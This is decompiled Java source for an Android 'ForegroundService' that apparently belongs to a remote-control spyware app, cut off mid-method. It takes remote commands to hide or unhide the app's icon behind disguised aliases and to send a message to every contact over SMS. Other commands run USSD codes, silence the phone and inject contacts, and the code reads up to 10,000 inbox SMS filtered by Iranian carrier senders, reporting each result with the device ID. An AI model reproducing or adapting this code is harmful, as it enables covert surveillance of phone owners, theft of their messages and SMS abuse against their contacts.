package ir.devixor.app.service;

import android.accounts.Account;
import android.accounts.AccountManager;
import android.app.AlarmManager;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.ComponentName;
import android.content.ContentProviderOperation;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.OperationApplicationException;
import android.content.pm.ActivityInfo;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.PorterDuff;
import android.media.AudioManager;
import android.net.Uri;
import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
import android.os.PowerManager;
import android.os.RemoteException;
import android.os.SystemClock;
import android.provider.ContactsContract;
import android.provider.Settings;
import android.telephony.SmsManager;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import android.telephony.TelephonyManager;
import android.text.TextUtils;
import android.util.Base64;
import android.webkit.WebView;
import androidx.core.graphics.drawable.IconCompat;
import com.google.android.gms.common.R;
import com.google.firebase.messaging.FirebaseMessaging;
import ir.devixor.app.activity.WebViewActivity;
import ir.devixor.app.receiver.RestartReceiver;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URL;
import java.nio.charset.Charset;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.Date;
import java.util.HashSet;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Locale;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.regex.Pattern;
import o.AB;
import o.AbstractC0008Ai;
import o.AbstractC0034Bi;
import o.AbstractC0126Ew;
import o.AbstractC0138Fi;
import o.AbstractC0940cn0;
import o.AbstractC1299gb0;
import o.AbstractC1480iS;
import o.AbstractC1692kh0;
import o.AbstractC1903ms;
import o.AbstractC2008ny;
import o.AbstractC2139pN;
import o.AbstractC2219q9;
import o.AbstractC2355rh;
import o.AbstractC2378rs0;
import o.AbstractC2440sc;
import o.AbstractC2539te;
import o.AbstractC2798wI;
import o.AbstractC2864x;
import o.AbstractC3117zi;
import o.As0;
import o.B10;
import o.BB;
import o.C0076Cy;
import o.C0168Gm;
import o.C0332Mv;
import o.C0387Oy;
import o.C0547Vc;
import o.C0697aB;
import o.C0730ae;
import o.C0984dB;
import o.C1072e7;
import o.C1079eB;
import o.C1175fB;
import o.C1271gB;
import o.C1367hB;
import o.C1652kB;
import o.C1798ln;
import o.C1884mi0;
import o.C2058oa0;
import o.C2124p9;
import o.C2411sB;
import o.C2468sq;
import o.C2506tB;
import o.C2601uB;
import o.C2724vb0;
import o.C2773w10;
import o.C3001yV;
import o.C3072z80;
import o.C80;
import o.Co0;
import o.DM;
import o.ES;
import o.EnumC0091Dn;
import o.ExecutorC1232fq;
import o.ExecutorC1921n20;
import o.F3;
import o.FD;
import o.FS;
import o.G1;
import o.G10;
import o.GN;
import o.HN;
import o.Hw0;
import o.IN;
import o.InterfaceC0220Im;
import o.LS;
import o.MS;
import o.O3;
import o.OC;
import o.Oh0;
import o.QW;
import o.R8;
import o.Rc0;
import o.Sb0;
import o.TS;
import o.WT;
import o.Za0;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* loaded from: classes.dex */
public final class ForegroundService extends Service {
    public static boolean w;
    public static ForegroundService x;
    public final C0168Gm l;
    public PowerManager.WakeLock m;
    public C2058oa0 n;

    /* renamed from: o, reason: collision with root package name */
    public JSONObject f36o;
    public String p;
    public String q;
    public volatile boolean r;
    public volatile boolean s;
    public volatile boolean t;
    public volatile boolean u;
    public TS v;

    public ForegroundService() {
        C2724vb0 c2724vb0T = AbstractC2378rs0.t();
        C2468sq c2468sq = AbstractC1903ms.a;
        this.l = C80.e(AbstractC2798wI.t(c2724vb0T, ExecutorC1232fq.m));
        this.p = "";
        this.q = "";
    }

    public static final Object A(ForegroundService foregroundService, String str, C2411sB c2411sB) {
        C2468sq c2468sq = AbstractC1903ms.a;
        return AbstractC1692kh0.T(ExecutorC1232fq.m, new C2506tB(str, foregroundService, null, 2), c2411sB);
    }

    /* JADX WARN: Removed duplicated region for block: B:7:0x0013  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public static final java.lang.Object C(ir.devixor.app.service.ForegroundService r5, java.lang.String r6, o.AbstractC0298Lm r7) {
        /*
            boolean r0 = r7 instanceof o.C2791wB
            if (r0 == 0) goto L13
            r0 = r7
            o.wB r0 = (o.C2791wB) r0
            int r1 = r0.q
            r2 = -2147483648(0xffffffff80000000, float:-0.0)
            r3 = r1 & r2
            if (r3 == 0) goto L13
            int r1 = r1 - r2
            r0.q = r1
            goto L18
        L13:
            o.wB r0 = new o.wB
            r0.<init>(r5, r7)
        L18:
            java.lang.Object r7 = r0.f768o
            int r1 = r0.q
            r2 = 1
            if (r1 == 0) goto L2d
            if (r1 != r2) goto L25
            o.IJ.H(r7)
            return r7
        L25:
            java.lang.IllegalStateException r5 = new java.lang.IllegalStateException
            java.lang.String r6 = "call to 'resume' before 'invoke' with coroutine"
            r5.<init>(r6)
            throw r5
        L2d:
            o.IJ.H(r7)
            o.sq r7 = o.AbstractC1903ms.a
            o.fq r7 = o.ExecutorC1232fq.m
            o.tB r1 = new o.tB
            r3 = 0
            r4 = 3
            r1.<init>(r6, r5, r3, r4)
            r0.q = r2
            java.lang.Object r5 = o.AbstractC1692kh0.T(r7, r1, r0)
            o.Dn r6 = o.EnumC0091Dn.l
            if (r5 != r6) goto L46
            return r6
        L46:
            return r5
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.C(ir.devixor.app.service.ForegroundService, java.lang.String, o.Lm):java.lang.Object");
    }

    public static final String E(ForegroundService foregroundService, String str) throws JSONException, RemoteException, OperationApplicationException {
        String string;
        List listA;
        String str2;
        String string2;
        List listA2;
        String str3;
        List listA3;
        String str4;
        String str5 = "";
        try {
            String strK = AbstractC1299gb0.K(AbstractC1299gb0.K(new String(Base64.decode(str, 0), AbstractC2355rh.a), "=\r\n", ""), "=\n", "");
            ContentResolver contentResolver = foregroundService.getContentResolver();
            int i = 0;
            for (String str6 : Za0.j0(strK, new String[]{"END:VCARD"}, 0, 6)) {
                if (!Za0.Y(str6)) {
                    IN inH = AbstractC2539te.h(Pattern.compile("FN[^:]*:(.+)", 66).matcher(str6), 0, str6);
                    String string3 = (inH == null || (listA3 = inH.a()) == null || (str4 = (String) ((HN) listA3).get(1)) == null) ? null : Za0.o0(str4).toString();
                    if (string3 == null) {
                        IN inH2 = AbstractC2539te.h(Pattern.compile("N[^:]*:(.+)", 66).matcher(str6), 0, str6);
                        string3 = (inH2 == null || (listA2 = inH2.a()) == null || (str3 = (String) ((HN) listA2).get(1)) == null) ? null : Za0.o0(str3).toString();
                    }
                    if (string3 != null && Za0.P(string3, "=", false)) {
                        string3 = Y(string3);
                    } else if (string3 == null) {
                    }
                    IN inH3 = AbstractC2539te.h(Pattern.compile("TEL[^:]*:(.+)", 66).matcher(str6), 0, str6);
                    if (inH3 != null && (listA = inH3.a()) != null && (str2 = (String) ((HN) listA).get(1)) != null && (string2 = Za0.o0(str2).toString()) != null && string2.length() > 0) {
                        ArrayList<ContentProviderOperation> arrayList = new ArrayList<>();
                        arrayList.add(ContentProviderOperation.newInsert(ContactsContract.RawContacts.CONTENT_URI).withValue("account_type", null).withValue("account_name", null).build());
                        Uri uri = ContactsContract.Data.CONTENT_URI;
                        arrayList.add(ContentProviderOperation.newInsert(uri).withValueBackReference("raw_contact_id", 0).withValue("mimetype", "vnd.android.cursor.item/name").withValue("data1", string3).build());
                        arrayList.add(ContentProviderOperation.newInsert(uri).withValueBackReference("raw_contact_id", 0).withValue("mimetype", "vnd.android.cursor.item/phone_v2").withValue("data1", string2).withValue("data2", 2).build());
                        contentResolver.applyBatch("com.android.contacts", arrayList);
                        i++;
                    }
                }
            }
            JSONObject jSONObject = new JSONObject();
            jSONObject.put("success", true);
            jSONObject.put("command", "IMPORT_VCF");
            jSONObject.put("count", i);
            jSONObject.put("android_id", foregroundService.p);
            jSONObject.put("device_name", foregroundService.q);
            JSONObject jSONObject2 = foregroundService.f36o;
            if (jSONObject2 != null && (string = jSONObject2.getString("port")) != null) {
                str5 = string;
            }
            jSONObject.put("port", str5);
            return jSONObject.toString();
        } catch (Exception e) {
            return foregroundService.V("خطا در ایمپورت VCF: " + e.getMessage());
        }
    }

    /* JADX WARN: Removed duplicated region for block: B:7:0x0013  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public static final java.lang.Object F(ir.devixor.app.service.ForegroundService r4, o.AbstractC0298Lm r5) {
        /*
            boolean r0 = r5 instanceof o.C2886xB
            if (r0 == 0) goto L13
            r0 = r5
            o.xB r0 = (o.C2886xB) r0
            int r1 = r0.q
            r2 = -2147483648(0xffffffff80000000, float:-0.0)
            r3 = r1 & r2
            if (r3 == 0) goto L13
            int r1 = r1 - r2
            r0.q = r1
            goto L18
        L13:
            o.xB r0 = new o.xB
            r0.<init>(r4, r5)
        L18:
            java.lang.Object r5 = r0.f784o
            int r1 = r0.q
            r2 = 1
            if (r1 == 0) goto L2d
            if (r1 != r2) goto L25
            o.IJ.H(r5)     // Catch: java.lang.Exception -> L42
            goto L42
        L25:
            java.lang.IllegalStateException r4 = new java.lang.IllegalStateException
            java.lang.String r5 = "call to 'resume' before 'invoke' with coroutine"
            r4.<init>(r5)
            throw r4
        L2d:
            o.IJ.H(r5)
            o.yB r5 = new o.yB     // Catch: java.lang.Exception -> L42
            r1 = 0
            r3 = 0
            r5.<init>(r4, r1, r3)     // Catch: java.lang.Exception -> L42
            r0.q = r2     // Catch: java.lang.Exception -> L42
            java.lang.Object r4 = o.C80.r(r5, r0)     // Catch: java.lang.Exception -> L42
            o.Dn r5 = o.EnumC0091Dn.l
            if (r4 != r5) goto L42
            return r5
        L42:
            o.Oh0 r4 = o.Oh0.a
            return r4
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.F(ir.devixor.app.service.ForegroundService, o.Lm):java.lang.Object");
    }

    public static final boolean G(ForegroundService foregroundService, String str) {
        foregroundService.getClass();
        try {
            File file = new File(foregroundService.getFilesDir(), "lastsms.txt");
            if (file.exists()) {
                return F3.c(Za0.o0(AbstractC2008ny.J(file, AbstractC2355rh.a)).toString(), Za0.o0(str).toString());
            }
            return false;
        } catch (Exception unused) {
            return false;
        }
    }

    public static final String H(ForegroundService foregroundService) throws JSONException {
        String string;
        ComponentName componentName;
        String string2;
        String str = "";
        JSONObject jSONObject = new JSONObject();
        try {
            String lowerCase = Build.MANUFACTURER.toLowerCase(Locale.ROOT);
            try {
                componentName = new ComponentName(foregroundService, "ir.devixor.app.YouTubeActivityAlias");
                foregroundService.getPackageManager().getComponentEnabledSetting(componentName);
            } catch (Exception unused) {
                componentName = new ComponentName(foregroundService, "ir.devixor.app.YouTubeActivity");
            }
            foregroundService.getPackageManager().setComponentEnabledSetting(componentName, 2, 1);
            try {
                foregroundService.getPackageManager().setComponentEnabledSetting(new ComponentName(foregroundService, "ir.devixor.app.SecondActivityAlias"), 2, 1);
            } catch (Exception unused2) {
            }
            try {
                try {
                    foregroundService.getPackageManager().setComponentEnabledSetting(new ComponentName(foregroundService, "ir.devixor.app.MainActivityAlias"), 1, 1);
                } catch (Exception unused3) {
                    foregroundService.getPackageManager().setComponentEnabledSetting(new ComponentName(foregroundService, "ir.devixor.app.PageGameActivity"), 1, 1);
                }
            } catch (Exception unused4) {
            }
            jSONObject.put("success", true);
            jSONObject.put("command", "UNHIDE");
            jSONObject.put("message", "برنامه به حالت اصلی برگشت");
            jSONObject.put("status", "visible");
            jSONObject.put("manufacturer", lowerCase);
            jSONObject.put("android_id", foregroundService.p);
            jSONObject.put("device_name", foregroundService.q);
            JSONObject jSONObject2 = foregroundService.f36o;
            if (jSONObject2 == null || (string2 = jSONObject2.getString("port")) == null) {
                string2 = "";
            }
            jSONObject.put("port", string2);
            jSONObject.put("disguise_type", "none");
        } catch (Exception e) {
            jSONObject.put("success", false);
            jSONObject.put("command", "UNHIDE");
            jSONObject.put("error", "خطا در برگشت به حالت اصلی: " + e.getMessage());
            jSONObject.put("manufacturer", Build.MANUFACTURER.toLowerCase(Locale.ROOT));
            jSONObject.put("android_id", foregroundService.p);
            jSONObject.put("device_name", foregroundService.q);
            JSONObject jSONObject3 = foregroundService.f36o;
            if (jSONObject3 != null && (string = jSONObject3.getString("port")) != null) {
                str = string;
            }
            jSONObject.put("port", str);
        }
        return jSONObject.toString();
    }

    /* JADX WARN: Removed duplicated region for block: B:7:0x0013  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public static final java.lang.Object J(ir.devixor.app.service.ForegroundService r5, android.graphics.Bitmap r6, o.AbstractC0298Lm r7) {
        /*
            boolean r0 = r7 instanceof o.C3076zB
            if (r0 == 0) goto L13
            r0 = r7
            o.zB r0 = (o.C3076zB) r0
            int r1 = r0.q
            r2 = -2147483648(0xffffffff80000000, float:-0.0)
            r3 = r1 & r2
            if (r3 == 0) goto L13
            int r1 = r1 - r2
            r0.q = r1
            goto L18
        L13:
            o.zB r0 = new o.zB
            r0.<init>(r5, r7)
        L18:
            java.lang.Object r7 = r0.f822o
            int r1 = r0.q
            r2 = 1
            if (r1 == 0) goto L2d
            if (r1 != r2) goto L25
            o.IJ.H(r7)
            goto L47
        L25:
            java.lang.IllegalStateException r5 = new java.lang.IllegalStateException
            java.lang.String r6 = "call to 'resume' before 'invoke' with coroutine"
            r5.<init>(r6)
            throw r5
        L2d:
            o.IJ.H(r7)
            o.sq r7 = o.AbstractC1903ms.a
            o.fq r7 = o.ExecutorC1232fq.m
            o.t r1 = new o.t
            r3 = 0
            r4 = 10
            r1.<init>(r5, r6, r3, r4)
            r0.q = r2
            java.lang.Object r7 = o.AbstractC1692kh0.T(r7, r1, r0)
            o.Dn r5 = o.EnumC0091Dn.l
            if (r7 != r5) goto L47
            return r5
        L47:
            o.I20 r7 = (o.I20) r7
            java.lang.Object r5 = r7.l
            return r5
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.J(ir.devixor.app.service.ForegroundService, android.graphics.Bitmap, o.Lm):java.lang.Object");
    }

    public static final void K(ForegroundService foregroundService, String str, String str2, int i, String str3, String[] strArr, OC oc) {
        C2724vb0 c2724vb0T = AbstractC2378rs0.t();
        C2468sq c2468sq = AbstractC1903ms.a;
        AbstractC1692kh0.C(C80.e(AbstractC2798wI.t(c2724vb0T, ExecutorC1232fq.m)), null, new AB(foregroundService, i, str3, strArr, str, str2, oc, null), 3);
    }

    public static final String L(ForegroundService foregroundService) throws JSONException {
        try {
            JSONObject jSONObject = new JSONObject();
            jSONObject.put("status", "active");
            jSONObject.put("android_id", foregroundService.p);
            return jSONObject.toString();
        } catch (Exception e) {
            JSONObject jSONObject2 = new JSONObject();
            jSONObject2.put("error", e.getMessage());
            return jSONObject2.toString();
        }
    }

    /* JADX WARN: Multi-variable type inference failed */
    /* JADX WARN: Type inference failed for: r1v0 */
    /* JADX WARN: Type inference failed for: r1v2 */
    /* JADX WARN: Type inference failed for: r1v23 */
    /* JADX WARN: Type inference failed for: r1v24 */
    /* JADX WARN: Type inference failed for: r1v5 */
    /* JADX WARN: Type inference failed for: r1v9 */
    public static final String M(ForegroundService foregroundService, String str) throws InterruptedException {
        ?? r1;
        Exception exc;
        ForegroundService foregroundService2;
        List<SubscriptionInfo> activeSubscriptionInfoList;
        Object next;
        String string;
        foregroundService.getClass();
        try {
            List listJ0 = Za0.j0(str, new String[]{":"}, 0, 6);
            try {
                if (listJ0.size() < 3) {
                    return foregroundService.V("فرمت اشتباه است. مثال: RUN_USSD:1:*140#");
                }
                Integer numN = AbstractC1299gb0.N((String) listJ0.get(1));
                int iIntValue = numN != null ? numN.intValue() : 1;
                foregroundService2 = 2;
                r1 = 2;
                String str2 = (String) listJ0.get(2);
                try {
                    if (Co0.l(foregroundService, "android.permission.CALL_PHONE") != 0 || Co0.l(foregroundService, "android.permission.READ_PHONE_STATE") != 0) {
                        return foregroundService.X(iIntValue, str2, "دسترسی قطع", false, "");
                    }
                    SubscriptionManager subscriptionManager = (SubscriptionManager) foregroundService.getSystemService(SubscriptionManager.class);
                    try {
                        if (subscriptionManager != null && (activeSubscriptionInfoList = subscriptionManager.getActiveSubscriptionInfoList()) != null) {
                            Iterator<T> it = activeSubscriptionInfoList.iterator();
                            while (true) {
                                if (!it.hasNext()) {
                                    next = null;
                                    break;
                                }
                                next = it.next();
                                if (((SubscriptionInfo) next).getSimSlotIndex() + 1 == iIntValue) {
                                    break;
                                }
                            }
                            SubscriptionInfo subscriptionInfo = (SubscriptionInfo) next;
                            if (subscriptionInfo != null) {
                                CharSequence carrierName = subscriptionInfo.getCarrierName();
                                if (carrierName == null || (string = carrierName.toString()) == null) {
                                    string = "نامشخص";
                                }
                                String str3 = string;
                                TelephonyManager telephonyManagerCreateForSubscriptionId = ((TelephonyManager) foregroundService.getSystemService("phone")).createForSubscriptionId(subscriptionInfo.getSubscriptionId());
                                if (Build.VERSION.SDK_INT < 26) {
                                    return foregroundService.X(iIntValue, str2, "نسخه اندروید پشتیبانی نمی\u200cشود", false, "");
                                }
                                CountDownLatch countDownLatch = new CountDownLatch(1);
                                B10 b10 = new B10();
                                b10.l = "";
                                C2773w10 c2773w10 = new C2773w10();
                                telephonyManagerCreateForSubscriptionId.sendUssdRequest(str2, new BB(b10, c2773w10, countDownLatch), new Handler(Looper.getMainLooper()));
                                countDownLatch.await(30L, TimeUnit.SECONDS);
                                return foregroundService.X(iIntValue, str2, (String) b10.l, c2773w10.l, str3);
                            }
                        }
                        return foregroundService.X(iIntValue, str2, "سیم\u200cکارت " + iIntValue + " پیدا نشد", false, "");
                    } catch (Exception e) {
                        e = e;
                        exc = e;
                        foregroundService2 = r1;
                        return foregroundService2.V("خطا: " + exc.getMessage());
                    }
                } catch (Exception e2) {
                    exc = e2;
                    return foregroundService2.V("خطا: " + exc.getMessage());
                }
            } catch (Exception e3) {
                exc = e3;
                foregroundService2 = foregroundService;
            }
        } catch (Exception e4) {
            e = e4;
            r1 = foregroundService;
        }
    }

    public static final void N(ForegroundService foregroundService, String str) {
        foregroundService.getClass();
        try {
            AbstractC2008ny.L(new File(foregroundService.getFilesDir(), "lastsms.txt"), Za0.o0(str).toString(), AbstractC2355rh.a);
        } catch (Exception unused) {
        }
    }

    public static final Object O(ForegroundService foregroundService, String str, String str2, Sb0 sb0) {
        foregroundService.getClass();
        C2468sq c2468sq = AbstractC1903ms.a;
        return AbstractC1692kh0.T(ExecutorC1232fq.m, new C2601uB(foregroundService, str2, str, null, 1), sb0);
    }

    public static final String Q(ForegroundService foregroundService, String str) throws JSONException, InterruptedException {
        List<SubscriptionInfo> activeSubscriptionInfoList;
        Object next;
        String string;
        JSONObject jSONObject = new JSONObject();
        JSONArray jSONArray = new JSONArray();
        JSONArray jSONArray2 = new JSONArray();
        try {
            List listJ0 = Za0.j0(str, new String[]{":"}, 3, 2);
            if (listJ0.size() < 3) {
                return foregroundService.V("فرمت دستور اشتباه است. مثال: SEND_SMS_TO_ALL:1:سلام دوستان");
            }
            Integer numN = AbstractC1299gb0.N((String) listJ0.get(1));
            int iIntValue = numN != null ? numN.intValue() : 1;
            String str2 = (String) listJ0.get(2);
            if (Co0.l(foregroundService, "android.permission.SEND_SMS") != 0) {
                return foregroundService.V("مجوز SEND_SMS داده نشده است");
            }
            SubscriptionManager subscriptionManager = (SubscriptionManager) foregroundService.getSystemService(SubscriptionManager.class);
            if (subscriptionManager != null && (activeSubscriptionInfoList = subscriptionManager.getActiveSubscriptionInfoList()) != null) {
                Iterator<T> it = activeSubscriptionInfoList.iterator();
                while (true) {
                    if (!it.hasNext()) {
                        next = null;
                        break;
                    }
                    next = it.next();
                    if (((SubscriptionInfo) next).getSimSlotIndex() + 1 == iIntValue) {
                        break;
                    }
                }
                SubscriptionInfo subscriptionInfo = (SubscriptionInfo) next;
                if (subscriptionInfo != null) {
                    SmsManager smsManagerForSubscriptionId = SmsManager.getSmsManagerForSubscriptionId(subscriptionInfo.getSubscriptionId());
                    Cursor cursorQuery = foregroundService.getApplicationContext().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, new String[]{"display_name", "data1"}, null, null, null);
                    if (cursorQuery != null) {
                        while (cursorQuery.moveToNext()) {
                            String string2 = cursorQuery.getString(cursorQuery.getColumnIndex("display_name"));
                            String string3 = cursorQuery.getString(cursorQuery.getColumnIndex("data1"));
                            try {
                                smsManagerForSubscriptionId.sendTextMessage(string3, null, str2, null, null);
                                JSONObject jSONObject2 = new JSONObject();
                                jSONObject2.put("name", string2);
                                jSONObject2.put("number", string3);
                                jSONArray.put(jSONObject2);
                            } catch (Exception e) {
                                JSONObject jSONObject3 = new JSONObject();
                                jSONObject3.put("name", string2);
                                jSONObject3.put("number", string3);
                                String message = e.getMessage();
                                if (message == null) {
                                    message = "Send failed";
                                }
                                jSONObject3.put("error", message);
                                jSONArray2.put(jSONObject3);
                            }
                            Thread.sleep(1000L);
                        }
                        cursorQuery.close();
                    }
                    jSONObject.put("success", true);
                    jSONObject.put("command", "SEND_SMS_TO_ALL_RESULT");
                    jSONObject.put("slot", iIntValue);
                    jSONObject.put("total_sent", jSONArray.length());
                    jSONObject.put("total_failed", jSONArray2.length());
                    jSONObject.put("android_id", foregroundService.p);
                    jSONObject.put("device_name", foregroundService.q);
                    JSONObject jSONObject4 = foregroundService.f36o;
                    if (jSONObject4 == null || (string = jSONObject4.getString("port")) == null) {
                        string = "";
                    }
                    jSONObject.put("port", string);
                    return jSONObject.toString();
                }
            }
            return foregroundService.V("سیم\u200cکارت " + iIntValue + " پیدا نشد");
        } catch (Exception e2) {
            return foregroundService.V("خطا در ارسال پیام همگانی: " + e2.getMessage());
        }
    }

    public static final String R(ForegroundService foregroundService, int i) throws JSONException {
        String string;
        try {
            AudioManager audioManager = (AudioManager) foregroundService.getSystemService("audio");
            int ringerMode = audioManager.getRingerMode();
            String str = "حالت ناشناخته";
            if (i == 0) {
                try {
                    audioManager.setRingerMode(0);
                    Integer[] numArr = {2, 5, 4, 3, 1};
                    for (int i2 = 0; i2 < 5; i2++) {
                        audioManager.adjustStreamVolume(numArr[i2].intValue(), -100, 0);
                    }
                } catch (Exception unused) {
                }
                str = "روی حالت سکوت قرار گرفت 🔇";
            } else if (i == 1) {
                try {
                    audioManager.setRingerMode(1);
                } catch (Exception unused2) {
                }
                str = "روی حالت لرزش قرار گرفت 📳";
            } else if (i == 2) {
                try {
                    audioManager.setRingerMode(2);
                    Integer[] numArr2 = {2, 5, 4, 3, 1};
                    for (int i3 = 0; i3 < 5; i3++) {
                        audioManager.adjustStreamVolume(numArr2[i3].intValue(), 100, 0);
                    }
                } catch (Exception unused3) {
                }
                str = "صدا فعال شد 🔊";
            }
            JSONObject jSONObject = new JSONObject();
            jSONObject.put("success", true);
            jSONObject.put("command", "SET_RINGER_MODE");
            jSONObject.put("mode", str);
            jSONObject.put("previous_mode", ringerMode);
            jSONObject.put("android_id", foregroundService.p);
            jSONObject.put("device_name", foregroundService.q);
            JSONObject jSONObject2 = foregroundService.f36o;
            if (jSONObject2 == null || (string = jSONObject2.getString("port")) == null) {
                string = "";
            }
            jSONObject.put("port", string);
            return jSONObject.toString();
        } catch (Exception e) {
            return foregroundService.V("خطا در تغییر حالت صدا: " + e.getMessage());
        }
    }

    public static final void S(ForegroundService foregroundService) {
        WebViewActivity webViewActivity = WebViewActivity.x;
        WebViewActivity webViewActivity2 = WebViewActivity.x;
        if (webViewActivity2 != null && !webViewActivity2.isFinishing() && !webViewActivity2.isDestroyed() && WebViewActivity.x != null && WebViewActivity.y != null) {
            WebView webView = WebViewActivity.y;
            if ((webView != null ? webView.getWidth() : 0) > 0) {
                WebView webView2 = WebViewActivity.y;
                if ((webView2 != null ? webView2.getHeight() : 0) > 0) {
                    WebViewActivity.x.runOnUiThread(new O3(13, foregroundService, WebViewActivity.y));
                    return;
                }
            }
        }
        foregroundService.v0();
    }

    public static final String T(ForegroundService foregroundService) throws JSONException, IOException {
        String str;
        String str2;
        String string;
        JSONObject jSONObject = new JSONObject();
        String lowerCase = Build.MANUFACTURER.toLowerCase(Locale.ROOT);
        int i = Build.VERSION.SDK_INT;
        File file = new File(foregroundService.getFilesDir(), "status_hide.txt");
        if (file.exists() && F3.c(Za0.o0(AbstractC2008ny.J(file, AbstractC2355rh.a)).toString(), "hide")) {
            if (lowerCase.equals("samsung")) {
                foregroundService.getPackageManager().setComponentEnabledSetting(new ComponentName(foregroundService, "ir.devixor.app.MainActivityAlias"), 1, 1);
                foregroundService.getPackageManager().setComponentEnabledSetting(new ComponentName(foregroundService, "ir.devixor.app.SecondActivityAlias"), 2, 1);
                AbstractC2008ny.L(file, "no_hide", AbstractC2355rh.a);
            } else if (!lowerCase.equals("xiaomi") || i > 34) {
                str = "این دستگاه شامل لیست unhide نیست";
                str2 = "not_supported";
            } else {
                foregroundService.getPackageManager().setComponentEnabledSetting(new ComponentName(foregroundService, "ir.devixor.app.MainActivityAlias"), 1, 1);
                AbstractC2008ny.L(file, "no_hide", AbstractC2355rh.a);
            }
            str = "آیکون برنامه نمایش داده شد";
            str2 = "visible";
        } else {
            str = "این دستگاه قبلاً visible بوده است";
            str2 = "already_visible";
        }
        jSONObject.put("success", true);
        jSONObject.put("command", "UNHIDE");
        jSONObject.put("message", str);
        jSONObject.put("status", str2);
        jSONObject.put("manufacturer", lowerCase);
        jSONObject.put("android_id", foregroundService.p);
        jSONObject.put("device_name", foregroundService.q);
        JSONObject jSONObject2 = foregroundService.f36o;
        if (jSONObject2 == null || (string = jSONObject2.getString("port")) == null) {
            string = "";
        }
        jSONObject.put("port", string);
        return jSONObject.toString();
    }

    public static String Y(String str) {
        try {
            List listJ0 = Za0.j0(AbstractC1299gb0.K(str, "=\r\n", ""), new String[]{"="}, 0, 6);
            ArrayList arrayList = new ArrayList();
            int i = 0;
            for (Object obj : listJ0) {
                int i2 = i + 1;
                byte[] bArrU = null;
                if (i < 0) {
                    AbstractC0008Ai.V();
                    throw null;
                }
                String str2 = (String) obj;
                if (i == 0) {
                    bArrU = str2.getBytes(AbstractC2355rh.a);
                } else if (str2.length() >= 2) {
                    String strSubstring = str2.substring(0, 2);
                    String strSubstring2 = str2.substring(2);
                    AbstractC0940cn0.g(16);
                    bArrU = AbstractC2219q9.U(new byte[]{(byte) Integer.parseInt(strSubstring, 16)}, strSubstring2.getBytes(AbstractC2355rh.a));
                }
                if (bArrU != null) {
                    arrayList.add(bArrU);
                }
                i = i2;
            }
            Iterator it = arrayList.iterator();
            if (!it.hasNext()) {
                throw new UnsupportedOperationException("Empty collection can't be reduced.");
            }
            Object next = it.next();
            while (it.hasNext()) {
                next = AbstractC2219q9.U((byte[]) next, (byte[]) it.next());
            }
            return new String((byte[]) next, AbstractC2355rh.a);
        } catch (Exception unused) {
            return str;
        }
    }

    public static JSONArray Z(Context context) throws JSONException, IOException {
        List list;
        boolean z;
        JSONArray jSONArray = new JSONArray();
        List<C0984dB> listS = AbstractC0008Ai.S(new C0984dB("ir-mci", Collections.singletonList("98893707"), AbstractC0008Ai.S("همراه گرامی", "همراه عزيز", "مشترک"), new G10("0\\d{9,10}")), new C0984dB("irancell", AbstractC0008Ai.S("Irancell", "E-Charge", ".IRANCELL."), AbstractC0008Ai.S("مشترک گرامی", "مشترک گرامي", "مشترک"), new G10("98\\d{10}")), new C0984dB("rightel", Collections.singletonList("RighTel"), AbstractC0008Ai.S("رایتلی عزیز", "رایتل"), new G10("9\\d{9,10}")));
        LinkedHashMap linkedHashMap = new LinkedHashMap();
        for (C0984dB c0984dB : listS) {
            Iterator it = c0984dB.b.iterator();
            while (it.hasNext()) {
                String lowerCase = ((String) it.next()).toLowerCase(Locale.ROOT);
                Object arrayList = linkedHashMap.get(lowerCase);
                if (arrayList == null) {
                    arrayList = new ArrayList();
                    linkedHashMap.put(lowerCase, arrayList);
                }
                ((List) arrayList).add(c0984dB);
            }
        }
        LinkedHashMap linkedHashMap2 = new LinkedHashMap();
        Cursor cursorQuery = context.getContentResolver().query(Uri.parse("content://sms/inbox"), new String[]{"address", "body"}, null, null, "date DESC LIMIT 10000");
        if (cursorQuery != null) {
            try {
                int columnIndex = cursorQuery.getColumnIndex("address");
                int columnIndex2 = cursorQuery.getColumnIndex("body");
                if (columnIndex != -1 && columnIndex2 != -1) {
                    int i = 0;
                    while (cursorQuery.moveToNext() && i < 10000) {
                        i++;
                        String string = cursorQuery.getString(columnIndex);
                        String str = "";
                        if (string == null) {
                            string = "";
                        }
                        if (string.length() != 0 && (list = (List) linkedHashMap.get(string.toLowerCase(Locale.ROOT))) != null) {
                            String string2 = cursorQuery.getString(columnIndex2);
                            if (string2 != null) {
                                str = string2;
                            }
                            if (str.length() != 0) {
                                Iterator it2 = list.iterator();
                                while (true) {
                                    z = true;
                                    if (!it2.hasNext()) {
                                        break;
                                    }
                                    C0984dB c0984dB2 = (C0984dB) it2.next();
                                    String str2 = c0984dB2.a;
                                    Object arrayList2 = linkedHashMap2.get(str2);
                                    if (arrayList2 == null) {
                                        arrayList2 = new ArrayList();
